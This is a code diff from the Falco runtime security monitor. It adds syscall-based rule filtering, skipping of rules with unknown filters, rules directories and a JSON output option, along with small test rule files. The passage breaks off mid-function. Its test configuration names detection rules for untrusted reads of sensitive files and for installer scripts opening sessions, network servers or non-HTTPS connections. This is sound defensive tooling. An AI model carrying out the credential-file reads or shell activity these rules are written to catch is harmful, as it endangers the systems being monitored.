-    trace_file: traces-info/installer-fbash-manages-service.scap
-    detect: True
-    detect_level: INFO
-    detect_counts:
-      - "Installer bash manages service": 4
-
-  installer-bash-non-https-connection:
-    trace_file: traces-positive/installer-bash-non-https-connection.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Installer bash non https connection": 1
-
-  installer-fbash-runs-pkgmgmt:
-    trace_file: traces-info/installer-fbash-runs-pkgmgmt.scap
-    detect: True
-    detect_level: [NOTICE, INFO]
-    detect_counts:
-      - "Installer bash runs pkgmgmt program": 4
-      - "Installer bash non https connection": 4
-
-  installer-bash-starts-network-server:
-    trace_file: traces-positive/installer-bash-starts-network-server.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Installer bash starts network server": 2
-      - "Installer bash non https connection": 3
-
-  installer-bash-starts-session:
-    trace_file: traces-positive/installer-bash-starts-session.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Installer bash starts session": 1
-      - "Installer bash non https connection": 3
-
   mkdir-binary-dirs:
     trace_file: traces-positive/mkdir-binary-dirs.scap
     detect: True
@@ -111,13 +73,6 @@ traces: !mux
     detect_counts:
       - "Modify binary dirs": 1
 
-  modify-package-repo-list-installer:
-    trace_file: traces-info/modify-package-repo-list-installer.scap
-    detect: True
-    detect_level: INFO
-    detect_counts:
-      - "Write below etc in installer": 1
-
   non-sudo-setuid:
     trace_file: traces-positive/non-sudo-setuid.scap
     detect: True
@@ -131,6 +86,7 @@ traces: !mux
     detect_level: WARNING
     detect_counts:
       - "Read sensitive file untrusted": 1
+      - "Read sensitive file trusted after startup": 1
 
   read-sensitive-file-untrusted:
     trace_file: traces-positive/read-sensitive-file-untrusted.scap
@@ -181,13 +137,6 @@ traces: !mux
     detect_counts:
       - "Write below etc": 1
 
-  write-etc-installer:
-    trace_file: traces-info/write-etc-installer.scap
-    detect: True
-    detect_level: INFO
-    detect_counts:
-      - "Write below etc in installer": 1
-
   write-rpm-database:
     trace_file: traces-positive/write-rpm-database.scap
     detect: True

test/rules/append_single_rule.yaml

@@ -0,0 +1,3 @@
+- rule: open_from_cat
+  append: true
+  condition: and fd.name=/tmp

test/rules/catchall_order.yaml

@@ -0,0 +1,12 @@
+- rule: open_dev_null
+  desc: Any open of the file /dev/null
+  condition: evt.type=open and fd.name=/dev/null
+  output: An open of /dev/null was seen (command=%proc.cmdline evt=%evt.type %evt.args)
+  priority: INFO
+
+- rule: dev_null
+  desc: Anything related to /dev/null
+  condition: fd.name=/dev/null
+  output: Something related to /dev/null was seen (command=%proc.cmdline evt=%evt.type %evt.args)
+  priority: INFO
+  warn_evttypes: false

test/rules/detect_connect_using_in.yaml

@@ -0,0 +1,6 @@
+- rule: Localhost connect
+  desc: Detect any connect to the localhost network, using fd.net and the in operator
+  condition: evt.type=connect and fd.net in ("127.0.0.1/24")
+  output: Program connected to localhost network
+    (user=%user.name command=%proc.cmdline connection=%fd.name)
+  priority: INFO

test/rules/rules_dir/000-single_rule.yaml

@@ -0,0 +1,14 @@
+- list: cat_binaries
+  items: [cat]
+
+- list: cat_capable_binaries
+  items: [cat_binaries]
+
+- macro: is_cat
+  condition: proc.name in (cat_capable_binaries)
+
+- rule: open_from_cat
+  desc: A process named cat does an open
+  condition: evt.type=open and is_cat
+  output: "An open was seen (command=%proc.cmdline)"
+  priority: WARNING

test/rules/rules_dir/001-double_rule.yaml

@@ -0,0 +1,13 @@
+# This ruleset depends on the is_cat macro defined in single_rule.yaml
+
+- rule: exec_from_cat
+  desc: A process named cat does execve
+  condition: evt.type=execve and is_cat
+  output: "An exec was seen (command=%proc.cmdline)"
+  priority: ERROR
+
+- rule: access_from_cat
+  desc: A process named cat does an access
+  condition: evt.type=access and is_cat
+  output: "An access was seen (command=%proc.cmdline)"
+  priority: INFO

test/rules/skip_unknown_error.yaml

@@ -0,0 +1,6 @@
+- rule: Contains Unknown Event And Not Skipping
+  desc: Contains an unknown event
+  condition: proc.nobody=cat
+  output: Never
+  skip-if-unknown-filter: false
+  priority: INFO

test/rules/skip_unknown_evt.yaml

@@ -0,0 +1,6 @@
+- rule: Contains Unknown Event And Skipping
+  desc: Contains an unknown event
+  condition: evt.type=open and proc.nobody=cat
+  output: Never
+  skip-if-unknown-filter: true
+  priority: INFO

test/rules/skip_unknown_prefix.yaml

@@ -0,0 +1,8 @@
+- rule: Contains Prefix of Filter
+  desc: Testing matching filter prefixes
+  condition: >
+    evt.type=open and evt.arg.path="foo" and evt.arg[0]="foo"
+    and proc.aname="ls" and proc.aname[1]="ls"
+    and proc.apid=10 and proc.apid[1]=10
+  output: Never
+  priority: INFO

test/rules/skip_unknown_unspec.yaml

@@ -0,0 +1,5 @@
+- rule: Contains Unknown Event And Unspecified
+  desc: Contains an unknown event
+  condition: proc.nobody=cat
+  output: Never
+  priority: INFO

test/rules/syscalls.yaml

@@ -0,0 +1,11 @@
+- rule: detect_madvise
+  desc: Detect any call to madvise
+  condition: evt.type=madvise and evt.dir=<
+  output: A madvise syscall was seen (command=%proc.cmdline evt=%evt.type)
+  priority: INFO
+
+- rule: detect_open
+  desc: Detect any call to open
+  condition: evt.type=open and evt.dir=< and fd.name=/dev/null
+  output: An open syscall was seen (command=%proc.cmdline evt=%evt.type file=%fd.name)
+  priority: INFO

userspace/engine/falco_engine.cpp

@@ -88,7 +88,8 @@ void falco_engine::load_rules(const string &rules_content, bool verbose, bool al
 	// formats.formatter is used, so we can unconditionally set
 	// json_output to false.
 	bool json_output = false;
-	falco_formats::init(m_inspector, m_ls, json_output);
+	bool json_include_output_property = false;
+	falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
 
 	m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info, m_min_priority);
 }
@@ -161,6 +162,13 @@ void falco_engine::evttypes_for_ruleset(std::vector<bool> &evttypes, const std::
 	return m_evttype_filter->evttypes_for_ruleset(evttypes, ruleset_id);
 }
 
+void falco_engine::syscalls_for_ruleset(std::vector<bool> &syscalls, const std::string &ruleset)
+{
+	uint16_t ruleset_id = find_ruleset_id(ruleset);
+
+	return m_evttype_filter->syscalls_for_ruleset(syscalls, ruleset_id);
+}
+
 unique_ptr<falco_engine::rule_result> falco_engine::process_event(sinsp_evt *ev, uint16_t ruleset_id)
 {
 	if(should_drop_evt())
@@ -236,10 +244,11 @@ void falco_engine::print_stats()
 
 void falco_engine::add_evttype_filter(string &rule,
 				      set<uint32_t> &evttypes,
+				      set<uint32_t> &syscalls,
 				      set<string> &tags,
 				      sinsp_filter* filter)
 {
-	m_evttype_filter->add(rule, evttypes, tags, filter);
+	m_evttype_filter->add(rule, evttypes, syscalls, tags, filter);
 }
 
 void falco_engine::clear_filters()

userspace/engine/falco_engine.h

@@ -91,6 +91,12 @@ public:
 	//
 	void evttypes_for_ruleset(std::vector<bool> &evttypes, const std::string &ruleset);
 
+	//
+	// Given a ruleset, fill in a bitset containing the syscalls
+	// for which this ruleset can run.
+	//
+	void syscalls_for_ruleset(std::vector<bool> &syscalls, const std::string &ruleset);
+
 	//
 	// Given an event, check it against the set of rules in the
 	// engine and if a matching rule is found, return details on
@@ -122,10 +128,11 @@ public:
 
 	//
 	// Add a filter, which is related to the specified set of
-	// event types, to the engine.
+	// event types/syscalls, to the engine.
 	//
 	void add_evttype_filter(std::string &rule,
 				std::set<uint32_t> &evttypes,
+				std::set<uint32_t> &syscalls,
 				std::set<std::string> &tags,
 				sinsp_filter* filter);
 

userspace/engine/formats.cpp

@@ -25,6 +25,7 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 
 sinsp* falco_formats::s_inspector = NULL;
 bool falco_formats::s_json_output = false;
+bool falco_formats::s_json_include_output_property = true;
 sinsp_evt_formatter_cache *falco_formats::s_formatters = NULL;
 
 const static struct luaL_reg ll_falco [] =
@@ -36,10 +37,11 @@ const static struct luaL_reg ll_falco [] =
 	{NULL,NULL}
 };
 
-void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output)
+void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property)
 {
 	s_inspector = inspector;
 	s_json_output = json_output;
+	s_json_include_output_property = json_include_output_property;
 	if(!s_formatters)
 	{
 		s_formatters = new sinsp_evt_formatter_cache(s_inspector);
@@ -155,8 +157,12 @@ int falco_formats::format_event (lua_State *ls)
 		event["time"] = iso8601evttime;
 		event["rule"] = rule;
 		event["priority"] = level;
-		// This is the filled-in output line.
-		event["output"] = line;
+
+		if(s_json_include_output_property)
+		{
+			// This is the filled-in output line.
+			event["output"] = line;
+		}
 
 		full_line = writer.write(event);
 

userspace/engine/formats.h

@@ -31,7 +31,7 @@ class sinsp_evt_formatter;
 class falco_formats
 {
  public:
-	static void init(sinsp* inspector, lua_State *ls, bool json_output);
+	static void init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property);
 
 	// formatter = falco.formatter(format_string)
 	static int formatter(lua_State *ls);
@@ -48,4 +48,5 @@ class falco_formats
 	static sinsp* s_inspector;
 	static sinsp_evt_formatter_cache *s_formatters;
 	static bool s_json_output;
+	static bool s_json_include_output_property;
 };

userspace/engine/lua/compiler.lua

@@ -76,7 +76,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.value.value] == nil) then
             error("Undefined macro '".. ast.value.value .. "' used in filter.")
          end
-         ast.value = copy_ast_obj(defs[ast.value.value])
+	 defs[ast.value.value].used = true
+         ast.value = copy_ast_obj(defs[ast.value.value].ast)
          changed = true
 	 return changed
       end
@@ -88,7 +89,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.left.value] == nil) then
             error("Undefined macro '".. ast.left.value .. "' used in filter.")
          end
-         ast.left = copy_ast_obj(defs[ast.left.value])
+	 defs[ast.left.value].used = true
+         ast.left = copy_ast_obj(defs[ast.left.value].ast)
          changed = true
       end
 
@@ -96,7 +98,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.right.value] == nil) then
             error("Undefined macro ".. ast.right.value .. " used in filter.")
          end
-         ast.right = copy_ast_obj(defs[ast.right.value])
+	 defs[ast.right.value].used = true
+         ast.right = copy_ast_obj(defs[ast.right.value].ast)
          changed = true
       end
 
@@ -109,7 +112,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.argument.value] == nil) then
             error("Undefined macro ".. ast.argument.value .. " used in filter.")
          end
-         ast.argument = copy_ast_obj(defs[ast.argument.value])
+	 defs[ast.argument.value].used = true
+         ast.argument = copy_ast_obj(defs[ast.argument.value].ast)
          changed = true
       end
       return expand_macros(ast.argument, defs, changed)
@@ -187,19 +191,20 @@ function check_for_ignored_syscalls_events(ast, filter_type, source)
    parser.traverse_ast(ast, {BinaryRelOp=1}, cb)
 end
 
--- Examine the ast and find the event types for which the rule should
--- run. All evt.type references are added as event types up until the
--- first "!=" binary operator or unary not operator. If no event type
--- checks are found afterward in the rule, the rule is considered
--- optimized and is associated with the event type(s).
+-- Examine the ast and find the event types/syscalls for which the
+-- rule should run. All evt.type references are added as event types
+-- up until the first "!=" binary operator or unary not operator. If
+-- no event type checks are found afterward in the rule, the rule is
+-- considered optimized and is associated with the event type(s).
 --
 -- Otherwise, the rule is associated with a 'catchall' category and is
--- run for all event types. (Also, a warning is printed).
+-- run for all event types/syscalls. (Also, a warning is printed).
 --
 
-function get_evttypes(name, ast, source)
+function get_evttypes_syscalls(name, ast, source, warn_evttypes)
 
    local evttypes = {}
+   local syscallnums = {}
    local evtnames = {}
    local found_event = false
    local found_not = false
@@ -222,17 +227,45 @@ function get_evttypes(name, ast, source)
 	    if node.operator == "in" or node.operator == "pmatch" then
 	       for i, v in ipairs(node.right.elements) do
 		  if v.type == "BareString" then
+
+                     -- The event must be a known event
+                     if events[v.value] == nil and syscalls[v.value] == nil then
+                        error("Unknown event/syscall \""..v.value.."\" in filter: "..source)
+                     end
+
 		     evtnames[v.value] = 1
-		     for id in string.gmatch(events[v.value], "%S+") do
-			evttypes[id] = 1
+		     if events[v.value] ~= nil then
+			for id in string.gmatch(events[v.value], "%S+") do
+			   evttypes[id] = 1
+			end
+		     end
+
+		     if syscalls[v.value] ~= nil then
+			for id in string.gmatch(syscalls[v.value], "%S+") do
+			   syscallnums[id] = 1
+			end
 		     end
 		  end
 	       end
 	    else
 	       if node.right.type == "BareString" then
+
+		  -- The event must be a known event
+		  if events[node.right.value] == nil and syscalls[node.right.value] == nil then
+		     error("Unknown event/syscall \""..node.right.value.."\" in filter: "..source)
+		  end
+
 		  evtnames[node.right.value] = 1
-		  for id in string.gmatch(events[node.right.value], "%S+") do
-		     evttypes[id] = 1
+		  if events[node.right.value] ~= nil then
+		     for id in string.gmatch(events[node.right.value], "%S+") do
+			evttypes[id] = 1
+		     end
+		  end
+
+		  if syscalls[node.right.value] ~= nil then
+		     for id in string.gmatch(syscalls[node.right.value], "%S+") do
+			syscallnums[id] = 1
+		     end
 		  end
 	       end
 	    end
@@ -243,23 +276,29 @@ function get_evttypes(name, ast, source)
    parser.traverse_ast(ast.filter.value, {BinaryRelOp=1, UnaryBoolOp=1} , cb)
 
    if not found_event then
-      io.stderr:write("Rule "..name..": warning (no-evttype):\n")
-      io.stderr:write(source.."\n")
-      io.stderr:write("         did not contain any evt.type restriction, meaning it will run for all event types.\n")
-      io.stderr:write("         This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
+      if warn_evttypes == true then
+	 io.stderr:write("Rule "..name..": warning (no-evttype):\n")
+	 io.stderr:write(source.."\n")
+	 io.stderr:write("         did not contain any evt.type restriction, meaning it will run for all event types.\n")
+	 io.stderr:write("         This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
+      end
       evttypes = {}
+      syscallnums = {}
       evtnames = {}
    end
 
    if found_event_after_not then
-      io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
-      io.stderr:write(source.."\n")
-      io.stderr:write("         does not have all evt.type restrictions at the beginning of the condition,\n")
-      io.stderr:write("         or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
-      io.stderr:write("         This has a performance penalty, as the rule can not be limited to specific event types.\n")
-      io.stderr:write("         Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
-      io.stderr:write("         replacing negative matches with positive matches if possible.\n")
+      if warn_evttypes == true then
+	 io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
+	 io.stderr:write(source.."\n")
+	 io.stderr:write("         does not have all evt.type restrictions at the beginning of the condition,\n")
+	 io.stderr:write("         or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
+	 io.stderr:write("         This has a performance penalty, as the rule can not be limited to specific event types.\n")
+	 io.stderr:write("         Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
+	 io.stderr:write("         replacing negative matches with positive matches if possible.\n")
+      end
       evttypes = {}
+      syscallnums = {}
       evtnames = {}
    end
 
@@ -277,17 +316,49 @@ function get_evttypes(name, ast, source)
    table.sort(evtnames_only)
 
    if compiler.verbose then
-      io.stderr:write("Event types for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
+      io.stderr:write("Event types/Syscalls for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
    end
 
-   return evttypes
+   return evttypes, syscallnums
+end
+
+function get_filters(ast)
+
+   local filters = {}
+
+   function cb(node)
+      if node.type == "FieldName" then
+	 filters[node.value] = 1
+      end
+   end
+
+   parser.traverse_ast(ast.filter.value, {FieldName=1} , cb)
+
+   return filters
+end
+
+function compiler.expand_lists_in(source, list_defs)
+
+   for name, def in pairs(list_defs) do
+      local begin_name_pat = "^("..name..")([%s(),=])"
+      local mid_name_pat = "([%s(),=])("..name..")([%s(),=])"
+      local end_name_pat = "([%s(),=])("..name..")$"
+
+      source, subcount1 = string.gsub(source, begin_name_pat, table.concat(def.items, ", ").."%2")
+      source, subcount2 = string.gsub(source, mid_name_pat, "%1"..table.concat(def.items, ", ").."%3")
+      source, subcount3 = string.gsub(source, end_name_pat, "%1"..table.concat(def.items, ", "))
+
+      if (subcount1 + subcount2 + subcount3) > 0 then
+	 def.used = true
+      end
+   end
+
+   return source
 end
 
 function compiler.compile_macro(line, macro_defs, list_defs)
 
-   for name, items in pairs(list_defs) do
-      line = string.gsub(line, name, table.concat(items, ", "))
-   end
+   line = compiler.expand_lists_in(line, list_defs)
 
    local ast, error_msg = parser.parse_filter(line)
 
@@ -323,16 +394,9 @@ end
 --[[
    Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
 --]]
-function compiler.compile_filter(name, source, macro_defs, list_defs)
+function compiler.compile_filter(name, source, macro_defs, list_defs, warn_evttypes)
 
-   for name, items in pairs(list_defs) do
-      local begin_name_pat = "^("..name..")([%s(),=])"
-      local mid_name_pat = "([%s(),=])("..name..")([%s(),=])"
-      local end_name_pat = "([%s(),=])("..name..")$"
-      source = string.gsub(source, begin_name_pat, table.concat(items, ", ").."%2")
-      source = string.gsub(source, mid_name_pat, "%1"..table.concat(items, ", ").."%3")
-      source = string.gsub(source, end_name_pat, "%1"..table.concat(items, ", "))
-   end
+   source = compiler.expand_lists_in(source, list_defs)
 
    local ast, error_msg = parser.parse_filter(source)
 
@@ -357,9 +421,11 @@ function compiler.compile_filter(name, source, macro_defs, list_defs)
       error("Unexpected top-level AST type: "..ast.type)
    end
 
-   evttypes = get_evttypes(name, ast, source)
+   evttypes, syscallnums = get_evttypes_syscalls(name, ast, source, warn_evttypes)
 
-   return ast, evttypes
+   filters = get_filters(ast)
+
+   return ast, evttypes, syscallnums, filters
 end
 
 

userspace/engine/lua/rule_loader.lua

@@ -132,7 +132,8 @@ end
 -- object. The by_name index is used for things like describing rules,
 -- and the by_idx index is used to map the relational node index back
 -- to a rule.
-local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, macros_by_name={}, lists_by_name={},
+local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={},
+	       skipped_rules_by_name={}, macros_by_name={}, lists_by_name={},
 	       n_rules=0, rules_by_idx={}, ordered_rule_names={}, ordered_macro_names={}, ordered_list_names={}}
 
 local function reset_rules(rules_mgr)
@@ -274,6 +275,12 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	    error ("Missing name in rule")
 	 end
 
+	 -- By default, if a rule's condition refers to an unknown
+	 -- filter like evt.type, etc the loader throws an error.
+	 if v['skip-if-unknown-filter'] == nil then
+	    v['skip-if-unknown-filter'] = false
+	 end
+
 	 -- Possibly append to the condition field of an existing rule
 	 append = false
 
@@ -291,11 +298,13 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	    end
 
 	    if state.rules_by_name[v['rule']] == nil then
-	       error ("Rule " ..v['rule'].. " has 'append' key but no rule by that name already exists")
+	       if state.skipped_rules_by_name[v['rule']] == nil then
+		  error ("Rule " ..v['rule'].. " has 'append' key but no rule by that name already exists")
+	       end
+	    else
+	       state.rules_by_name[v['rule']]['condition'] = state.rules_by_name[v['rule']]['condition'] .. " " .. v['condition']
 	    end
 
-	    state.rules_by_name[v['rule']]['condition'] = state.rules_by_name[v['rule']]['condition'] .. " " .. v['condition']
-
 	 else
 
 	    for i, field in ipairs({'condition', 'output', 'desc', 'priority'}) do
@@ -320,6 +329,8 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	       v['output'] = compiler.trim(v['output'])
 
 	       state.rules_by_name[v['rule']] = v
+	    else
+	       state.skipped_rules_by_name[v['rule']] = v
 	    end
 	 end
       else
@@ -347,13 +358,13 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	 if (state.lists[item] == nil) then
 	    items[#items+1] = item
 	 else
-	    for i, exp_item in ipairs(state.lists[item]) do
+	    for i, exp_item in ipairs(state.lists[item].items) do
 	       items[#items+1] = exp_item
 	    end
 	 end
       end
 
-      state.lists[v['list']] = items
+      state.lists[v['list']] = {["items"] = items, ["used"] = false}
    end
 
    for i, name in ipairs(state.ordered_macro_names) do
@@ -361,15 +372,46 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
       local v = state.macros_by_name[name]
 
       local ast = compiler.compile_macro(v['condition'], state.macros, state.lists)
-      state.macros[v['macro']] = ast.filter.value
+      state.macros[v['macro']] = {["ast"] = ast.filter.value, ["used"] = false}
    end
 
    for i, name in ipairs(state.ordered_rule_names) do
 
       local v = state.rules_by_name[name]
 
-      local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'],
-							   state.macros, state.lists)
+      warn_evttypes = true
+      if v['warn_evttypes'] ~= nil then
+	 warn_evttypes = v['warn_evttypes']
+      end
+
+      local filter_ast, evttypes, syscallnums, filters = compiler.compile_filter(v['rule'], v['condition'],
+										 state.macros, state.lists,
+										 warn_evttypes)
+
+      -- If a filter in the rule doesn't exist, either skip the rule
+      -- or raise an error, depending on the value of
+      -- skip-if-unknown-filter.
+      for filter, _ in pairs(filters) do
+	 found = false
+
+	 for pat, _ in pairs(defined_filters) do
+	    if string.match(filter, pat) ~= nil then
+	       found = true
+	       break
+	    end
+	 end
+
+	 if not found then
+	    if v['skip-if-unknown-filter'] then
+	       if verbose then
+		  print("Skipping rule \""..v['rule'].."\" that contains unknown filter "..filter)
+	       end
+	       goto next_rule
+	    else
+	       error("Rule \""..v['rule'].."\" contains unknown filter "..filter)
+	    end
+	 end
+      end
 
       if (filter_ast.type == "Rule") then
 	 state.n_rules = state.n_rules + 1
@@ -390,7 +432,7 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	 end
 
 	 -- Pass the filter and event types back up
-	 falco_rules.add_filter(rules_mgr, v['rule'], evttypes, v['tags'])
+	 falco_rules.add_filter(rules_mgr, v['rule'], evttypes, syscallnums, v['tags'])
 
 	 -- Rule ASTs are merged together into one big AST, with "OR" between each
 	 -- rule.
@@ -441,6 +483,23 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
       else
 	 error ("Unexpected type in load_rule: "..filter_ast.type)
       end
+
+      ::next_rule::
+   end
+
+   if verbose then
+      -- Print info on any dangling lists or macros that were not used anywhere
+      for name, macro in pairs(state.macros) do
+	 if macro.used == false then
+	    print("Warning: macro "..name.." not refered to by any rule/macro")
+	 end
+      end
+
+      for name, list in pairs(state.lists) do
+	 if list.used == false then
+	    print("Warning: list "..name.." not refered to by any rule/macro/list")
+	 end
+      end
    end
 
    io.flush()

userspace/engine/rules.cpp

@@ -66,8 +66,9 @@ void falco_rules::clear_filters()
 
 int falco_rules::add_filter(lua_State *ls)
 {
-	if (! lua_islightuserdata(ls, -4) ||
-	    ! lua_isstring(ls, -3) ||
+	if (! lua_islightuserdata(ls, -5) ||
+	    ! lua_isstring(ls, -4) ||
+	    ! lua_istable(ls, -3) ||
 	    ! lua_istable(ls, -2) ||
 	    ! lua_istable(ls, -1))
 	{
@@ -75,16 +76,28 @@ int falco_rules::add_filter(lua_State *ls)
 		lua_error(ls);
 	}
 
-	falco_rules *rules = (falco_rules *) lua_topointer(ls, -4);
-	const char *rulec = lua_tostring(ls, -3);
+	falco_rules *rules = (falco_rules *) lua_topointer(ls, -5);
+	const char *rulec = lua_tostring(ls, -4);
 
 	set<uint32_t> evttypes;
 
+	lua_pushnil(ls);  /* first key */
+	while (lua_next(ls, -4) != 0) {
+                // key is at index -2, value is at index
+                // -1. We want the keys.
+		evttypes.insert(luaL_checknumber(ls, -2));
+
+		// Remove value, keep key for next iteration
+		lua_pop(ls, 1);
+	}
+
+	set<uint32_t> syscalls;
+
 	lua_pushnil(ls);  /* first key */
 	while (lua_next(ls, -3) != 0) {
                 // key is at index -2, value is at index
                 // -1. We want the keys.
-		evttypes.insert(luaL_checknumber(ls, -2));
+		syscalls.insert(luaL_checknumber(ls, -2));
 
 		// Remove value, keep key for next iteration
 		lua_pop(ls, 1);
@@ -95,7 +108,7 @@ int falco_rules::add_filter(lua_State *ls)
 	lua_pushnil(ls);  /* first key */
 	while (lua_next(ls, -2) != 0) {
                 // key is at index -2, value is at index
-                // -1. We want the keys.
+                // -1. We want the values.
 		tags.insert(lua_tostring(ls, -1));
 
 		// Remove value, keep key for next iteration
@@ -103,19 +116,19 @@ int falco_rules::add_filter(lua_State *ls)
 	}
 
 	std::string rule = rulec;
-	rules->add_filter(rule, evttypes, tags);
+	rules->add_filter(rule, evttypes, syscalls, tags);
 
 	return 0;
 }
 
-void falco_rules::add_filter(string &rule, set<uint32_t> &evttypes, set<string> &tags)
+void falco_rules::add_filter(string &rule, set<uint32_t> &evttypes, set<uint32_t> &syscalls, set<string> &tags)
 {
 	// While the current rule was being parsed, a sinsp_filter
 	// object was being populated by lua_parser. Grab that filter
 	// and pass it to the engine.
 	sinsp_filter *filter = m_lua_parser->get_filter(true);
 
-	m_engine->add_evttype_filter(rule, evttypes, tags, filter);
+	m_engine->add_evttype_filter(rule, evttypes, syscalls, tags, filter);
 }
 
 int falco_rules::enable_rule(lua_State *ls)
@@ -183,6 +196,35 @@ void falco_rules::load_rules(const string &rules_content,
 
 		lua_setglobal(m_ls, m_lua_events.c_str());
 
+		map<string,string> syscalls_by_name;
+		for(uint32_t j = 0; j < PPM_SC_MAX; j++)
+		{
+			auto it = syscalls_by_name.find(stable[j].name);
+
+			if (it == syscalls_by_name.end())
+			{
+				syscalls_by_name[stable[j].name] = to_string(j);
+			}
+			else
+			{
+				string cur = it->second;
+				cur += " ";
+				cur += to_string(j);
+				syscalls_by_name[stable[j].name] = cur;
+			}
+		}
+
+		lua_newtable(m_ls);
+
+		for( auto kv : syscalls_by_name)
+		{
+			lua_pushstring(m_ls, kv.first.c_str());
+			lua_pushstring(m_ls, kv.second.c_str());
+			lua_settable(m_ls, -3);
+		}
+
+		lua_setglobal(m_ls, m_lua_syscalls.c_str());
+
 		// Create a table containing the syscalls/events that
 		// are ignored by the kernel module. load_rules will
 		// return an error if any rule references one of these
@@ -216,6 +258,63 @@ void falco_rules::load_rules(const string &rules_content,
 
 		lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
 
+		// Create a table containing all filtercheck names.
+		lua_newtable(m_ls);
+
+		vector<const filter_check_info*> fc_plugins;
+		sinsp::get_filtercheck_fields_info(&fc_plugins);
+
+		for(uint32_t j = 0; j < fc_plugins.size(); j++)
+		{
+			const filter_check_info* fci = fc_plugins[j];
+
+			if(fci->m_flags & filter_check_info::FL_HIDDEN)
+			{
+				continue;
+			}
+
+			for(int32_t k = 0; k < fci->m_nfields; k++)
+			{
+				const filtercheck_field_info* fld = &fci->m_fields[k];
+
+				if(fld->m_flags & EPF_TABLE_ONLY ||
+				   fld->m_flags & EPF_PRINT_ONLY)
+				{
+					continue;
+				}
+
+				// Some filters can work with or without an argument
+				std::set<string> flexible_filters = {
+					"^proc.aname",
+					"^proc.apid"
+				};
+
+				std::list<string> fields;
+				std::string field_base = string("^") + fld->m_name;
+
+				if(fld->m_flags & EPF_REQUIRES_ARGUMENT ||
+				   flexible_filters.find(field_base) != flexible_filters.end())
+				{
+					fields.push_back(field_base + "[%[%.]");
+				}
+
+				if(!(fld->m_flags & EPF_REQUIRES_ARGUMENT) ||
+				   flexible_filters.find(field_base) != flexible_filters.end())
+				{
+					fields.push_back(field_base + "$");
+				}
+
+				for(auto &field : fields)
+				{
+					lua_pushstring(m_ls, field.c_str());
+					lua_pushnumber(m_ls, 1);
+					lua_settable(m_ls, -3);
+				}
+			}
+		}
+
+		lua_setglobal(m_ls, m_lua_defined_filters.c_str());
+
 		lua_pushstring(m_ls, rules_content.c_str());
 		lua_pushlightuserdata(m_ls, this);
 		lua_pushboolean(m_ls, (verbose ? 1 : 0));

userspace/engine/rules.h

@@ -45,7 +45,7 @@ class falco_rules
 
  private:
 	void clear_filters();
-	void add_filter(string &rule, std::set<uint32_t> &evttypes, std::set<string> &tags);
+	void add_filter(string &rule, std::set<uint32_t> &evttypes, std::set<uint32_t> &syscalls, std::set<string> &tags);
 	void enable_rule(string &rule, bool enabled);
 
 	lua_parser* m_lua_parser;
@@ -56,6 +56,8 @@ class falco_rules
 	string m_lua_load_rules = "load_rules";
 	string m_lua_ignored_syscalls = "ignored_syscalls";
 	string m_lua_ignored_events = "ignored_events";
+	string m_lua_defined_filters = "defined_filters";
 	string m_lua_events = "events";
+	string m_lua_syscalls = "syscalls";
 	string m_lua_describe_rule = "describe_rule";
 };

userspace/falco/configuration.cpp

@@ -16,6 +16,13 @@ You should have received a copy of the GNU General Public License
 along with falco.  If not, see <http://www.gnu.org/licenses/>.
 */
 
+#include <algorithm>
+
+#include <dirent.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
 #include "configuration.h"
 #include "logger.h"
 
@@ -62,11 +69,12 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
 		struct stat buffer;
 		if(stat(file.c_str(), &buffer) == 0)
 		{
-			m_rules_filenames.push_back(file);
+			read_rules_file_directory(file, m_rules_filenames);
 		}
 	}
 
 	m_json_output = m_config->get_scalar<bool>("json_output", false);
+	m_json_include_output_property = m_config->get_scalar<bool>("json_include_output_property", true);
 
 	falco_outputs::output_config file_output;
 	file_output.name = "file";
@@ -149,6 +157,70 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
 	falco_logger::log_syslog = m_config->get_scalar<bool>("log_syslog", true);
 }
 
+void falco_configuration::read_rules_file_directory(const string &path, list<string> &rules_filenames)
+{
+	struct stat st;
+
+	int rc = stat(path.c_str(), &st);
+
+	if(rc != 0)
+	{
+		std::cerr << "Could not get info on rules file " << path << ": " << strerror(errno) << std::endl;
+		exit(-1);
+	}
+
+	if(st.st_mode & S_IFDIR)
+	{
+		// It's a directory. Read the contents, sort
+		// alphabetically, and add every path to
+		// rules_filenames
+		vector<string> dir_filenames;
+
+		DIR *dir = opendir(path.c_str());
+
+		if(!dir)
+		{
